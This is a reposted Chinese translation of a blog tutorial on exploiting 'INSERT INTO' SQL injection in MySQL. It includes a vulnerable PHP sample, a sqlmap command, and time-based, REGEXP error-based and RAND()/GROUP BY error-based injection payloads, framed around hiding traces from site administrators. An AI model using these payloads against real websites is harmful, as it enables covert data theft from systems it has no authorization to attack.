无痕渗透“INSERT INTO”型SQL注入

转载自:https://blog.csdn.net/hwz2311245/article/details/53941523

原文链接:http://www.mathyvanhoef.com/2011/10/exploiting-insert-into-sql-injections.html

在某个寂静的深夜,你徘徊在一个网站中,其中包含一个可提交form,需要你输入一个昵称。你输入了一个单引号作为你的昵称,网站返回了一条异常信息:“You have an error in your SQL syntax”。机智的你很快明白,这里很可能存在一个“INSERT INTO”型的SQL注入。现在,你可以简单的使用sqlmap然后让它干一些不可描述的事情。但是,这样会带来一个严重的问题:一个自动化的工具会发送很多请求,而其中很大一部分的INSERT操作会成功。这样一来,对方的数据库中就会出现很多奇怪的数据。我们必须要避免这种情况。

首先,我们先在本地创建一个类似的环境来进行演示。测试代码如下:

<?php  
 $con = mysql_connect("localhost", "root", "toor") or die(mysql_error($con));  
 mysql_select_db("testdb", $con) or die(mysql_error($con));  
 $var = $_POST['post'];  
 mysql_query("INSERT INTO data VALUES ('one', '$var')") or die(mysql_error($con));  
 mysql_close($con) or die(mysql_error($con));  
 echo "The values have been added!\n";  
 ?>  
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

通常情况下,一个经验丰富的程序员是不会写出这么简单的代码来的。不过,这仅仅是一个简单的示例,可以用来演示渗透就足够了。我们来用sqlmap渗透一下这个环境。

./sqlmap.py -u "http://localhost/test.php" --data "post=ValidValue" -v 3

部分的输出可以在pastebin看到。它发现了一个Error-based型的SQL注入。关于这个漏洞我们会在文章的结尾再进行讨论。现在,我们先忽略这个注入,并且可以发现sqlmap在数据库中插入了很多奇怪的数据。

奇怪的数据

避免输入奇怪的数据

我们必须找到一个语法正确,但是语义错误的sql语句。并且,这个语义错误必须在执行的时候才能够被检测到。我立刻想到了标量子查询(scalar subqueries)。这种类型的子查询,只能够返回一行,否则就会返回异常。在MySQL的手册中提到:

In its simplest form, a scalar subquery is a subquery that returns a single value. A scalar subquery is a simple operand, and you can use it almost anywhere a single column value or literal is legal, and you can expect it to have those characteristics that all operands have: a data type, a length, an indication that it can be NULL, and so on.

下面是一个示例

SELECT (SELECT name FROM users WHERE email = '[email protected]')

如果子查询的结果为空,那么会被转化为NULL。如果email是一个主键的话,那么最多一个name会被返回。如果email不是主键的话,那么name的个数可能不只一个,这需要根据数据库的具体内容来决定。这就说明了,必须首先执行这个子查询,才能够确认
这个子查询是否是个合法的标量子查询。另外一个标量子查询的示例如下:

SELECT 'Your name is: ' || (SELECT name FROM users WHERE email = '[email protected]')

在这里,||是字符串拼接操作。下面的查询必然会返回异常 “#1242 - Subquery returns more than 1 row”

SELECT (SELECT nameIt FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)

好了,现在我们获得了一个必然会返回异常的查询语句。通过这个异常,就可以阻止原始的INSERT INTO语句被成功执行,同时,我们自己的SQL语句又能够成功执行。下面,我会来演示将这句话改造成SQL盲注。首先,我们需要利用条件语句创造不同的执行效果。要做到这一点,有两种策略。第一种策略是,找到另外一个语义错误的查询,然后根据条件语句产生不同的异常。第二中策略是利用时间的差异:如果条件为真,那么查询立刻结束;否则执行一个较长的时间。基于时间的攻击更容易构造出来。可以看到下面的SQL语句,我们把上一条语句中的namelt替换为了一个更加复杂的表达式:

SELECT (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)

如果<condition>为真,那么服务器会首先等待3秒钟,然后返回一个异常(子查询返回了不止一个结果)。否则,<condition>为假,那么服务器会立即返回这个异常。接下里要做的,就是通过服务器响应的时间,来判断<condition>的真假了。基于这一点,我可以用一些自动化的工具或者脚本来完成一个基于时间的SQL盲注。

这幅图片中有4个忍者

让我们回过头来看一下php代码。在post的参数中,我们应该写入什么来发起攻击呢?你可以自己尝试找到答案。这是你必须自己掌握的技巧,特别是在给出源码的情况下。

发送一下字段可以完成这个攻击:

' || (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '

服务器在接受到这个参数后,实际会执行:

INSERT INTO data VALUES ('one', '' || (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '')

语法上是完全正确的!

更快的进行渗透

上面所说的方法十分有效,但是这是基于时间的攻击,可能会需要相当长的一段时间才能够成功渗透。实际上,我们还有一种策略可以选择,那就是根据条件产生不同的异常。首先,我们需要找到另外一种可以产生的异常。听起来很简单,但是实际做的时候才会发现,要产生一个异常很简单,但是要让这个异常在执行的时候产生,并且可以根据条件语句去控制,是一个很难的事情。在经历了一个多小时的探索后,我尝试了各种奇怪的SQL语句,也反覆阅读了MYSQL的文档,终于找到了一个可用的东西。下面就是我找到的SQL语句:

SELECT 'canBeAnyValue' REGEXP (SELECT CASE WHEN <condition> THEN '.*' ELSE '*' END)

其中,语句‘value’ REGEXP ‘regexp’是一个条件判断,当value的值符合正则表达式regexp则返回真,否则返回假。注意,.*是一个合法的正则表达式,而*不是。所以,当<condition>为真的时候,正则表达式合法,整个条件语句可以执行。否则的话,非法的正则表达式会被MySQL检测出来,并返回异常“#1139 - Got error ‘repetition-operator operand invalid’ from regexp”。棒极了!现在,我们可以创造一个基于条件的SQL盲注语句:当条件为真,那么标量子查询异常会被返回;当条件为假,正则表达式非法的异常会被返回。

但这中间还有一个障碍:我们必须小心的使用REGEXP异常。打个比方,假如你将基于时间的SQL盲注语句改成了下面这样:

SELECT (SELECT CASE WHEN <condition> THEN 'anyValue' REGEXP '*' ELSE 'AnyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)

你这么写的理由在于: 如果<condition>为假,那么它会返回‘thisCanBeAnyValue两次,并且返回一个异常,提示标量子查询返回了不止一个结果。如果<condition>为真,那么它会尝试用'*'去对”anyValue’进行正则匹配,然后返回一个正则表达式非法的异常。但是事实并不是如此!在这个语句下,你永远会得到一个正则表达式非法的异常。为什么?因为MySql知道,‘anyValue’ REGEXP ‘*’是一个不变的常量,不会因为任何东西而改变。因此,它会对这个查询进行优化,然后提前处理这个值。所以,尽管<condition>为假,MySql仍然会在优化阶段,对正则表达式进行匹配。这个正则表达式始终是非法的,因此该异常会一直被返回。要绕过这一点,就必须将'*''.*'分别放在SELECT CASE WHEN .. END控制流的两条线上,才能够避免被优化。

下面就是在我们的示例代码中国年,最终可以使用的参数:

' || (SELECT 'thisCanBeAnyValue' REGEXP (SELECT CASE WHEN <condition> THEN '.*' ELSE '*' END) FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '

当条件为假时,正则表达式非法的异常会被返回。当条件为真时,标量子查询异常会被返回。所有的这些,都是在避免INSERT语句被成功执行的情况下发生的。这样一来,网站管理员就不会在数据库中看到任何奇怪的数据。最后,这个攻击语句会比之前基于时间的攻击快很多。好样的!

** 更进一步:基于异常的SQL注入

上面所提到的方法是我自己想到的。然而,这个网页返回了错误信息,因此也存在了一个已知的基于异常的SQL注入(通过异常信息获取数据库中的数据)。这也是sqlmap所发现的注入。通过基于异常的SQL注入,渗透速度会进一步加快。这个注入是基于一下语句产生的:

SELECT COUNT(*), CONCAT('We can put any scalar subquery here', FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x

当我们执行这个语句的时候,会得到一个异常信息 “ERROR 1062 (23000): Duplicate entry ‘We can put any scalar subquery here’ for key ‘group_key’”。可以看到,输入的语句在返回的异常信息中出现了。事实上,我们可以在这里放入任何值,包括一个标量子查询。首先,先来研究一下为什么这个异常会产生。在MySql文档中,提到了“You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times”(你不能够在ORDER BY中使用一个包含RAND()列,因为ORDER BY会多次访问这个列的值)。同样的,RAND()在GROUP BY语句中也同样会被多次访问。每一次RAND()被访问,都会产生一个新的值。好了,那么根据文档中所说的,我们实际上不允许这样子来使用RAND()方法。为什么?因为这个方法每次都返回一个新的值,而MySql则要求了一个方法必须每次返回相同的值。这样一来,就会导致我们所看到的异常信息。

你面对的敌人远比你强大!祝你好运!

总而言之,这个异常信息包含了一个用户可控的字符串!也就是说,我们可以让它返回任何数据库中的数据,从而极大的加快了渗透的速度。也许你还是好奇为什么这个查询会失败。要清楚这个问题,必须对DBMS执行查询语句的过程有一个准确的了解。关于这个不在本文章的讨论范围之内。你只需要记住,这个查询语句中的问题是因为RAND()被多次访问了,并且返回了不同的值,而这不是DBMS所接受的。

让我们再次回到示例代码。下面的参数可以达到渗透的目的:

' || (SELECT 'temp' FROM (SELECT COUNT(*), CONCAT((subquery returning the value we want to retrieve), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) FromTable) || '

完美,我们得到了一个十分快速的SQL注入。根据可访问表的不同,这个例子可能需要进行适当的调整才能工作。另外,我们还可以将之前提到的语义错误的SQL注入引入进来。通过这种方式,我们可以确保数据不会被插入到表中。毕竟,我们是通过一种未定义的方式来产生的异常。也许就有那么一种DBMS,可以将查询中的RAND()进行特殊处理,而不返回异常,谁知道呢?

最后提一句,隐藏痕迹永远只是相对的。在某些情况下,SQL异常会被记录下来,而管理员可以在发生异常的时候得到提醒。在这种情况下,这些攻击的痕迹就完全暴露出来了!

猜你喜欢

转载自blog.csdn.net/xuchen16/article/details/82904557